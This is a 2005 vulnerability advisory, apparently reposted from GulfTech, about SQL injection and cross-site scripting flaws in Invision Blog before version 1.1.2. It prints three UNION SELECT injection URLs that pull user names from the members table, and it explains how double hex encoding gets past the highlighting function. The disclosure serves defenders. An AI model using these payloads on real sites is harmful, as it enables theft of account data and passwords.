Invision Community Blog Vulnerabilities

Type securityvulns
Reporter Securityvulns
Modified 2005-06-10T00:00:00


GulfTech Security Research June 7th, 2005

Vendor : Invision Power Services


Version : All Versions Prior To 1.1.2 Final

Risk : Multiple Vulnerabilities

Description: Invision Blog is a community based blogging software that can be integrated into Invision Power Board. There are several dangerous SQL Injection vulnerabilities, as well as a cross site scripting vulnerability. These vulnerabilities could allow for an attacker to gain access to sensitive data such as password information and render hostile script in the context of a victims browser which could lead to disclosure of sensitive data such as cookie data.

Cross Site Scripting: There is a cross site scripting issue in Invision Blog that may allow for an attacker to render hostile client side code in a users browser. The vulnerable function convert_highlite_words() doesn't properly sanitize data returned by urldecode() and can be taken advantage of by double hex encoding highlight data.

SQL Injection: There are a number of serious SQL Injection vulnerabilities in the Invision Blog software. Below are harmless examples that will pull a users name from the database.

http://localhost/index.php?automodule=blog&blogid=1&cmd=editentry&eid=99 %20UNION%20SELECT%201,0,0,name,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20FROM%20ibf_ members%20WHERE%201/*

http://localhost/index.php?automodule=blog&blogid=1&cmd=replyentry&eid=99 %20UNION%20SELECT%201,0,0,name,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20FROM%20ibf_ members%20WHERE%201/*

http://localhost/index.php?automodule=blog&blogid=1&cmd=editcomment&eid=1& cid=-99%20UNION%20SELECT%201,0,0,0,0,0,0,0,0,0,0,0,0,name%20FROM%20ibf_ members%20WHERE%201/*


The last example is not very easy to exploit, but can be exploited with a bit of effort.

Solution: Updated version of the Invision Blog software have been available for many weeks now. Users should upgrade as soon as possible. Special thanks to the guys at Invision for fixing these issues so quickly :)

Related Info: The original advisory can be found at the following location

Credits: James Bercegay of the GulfTech Security Research Team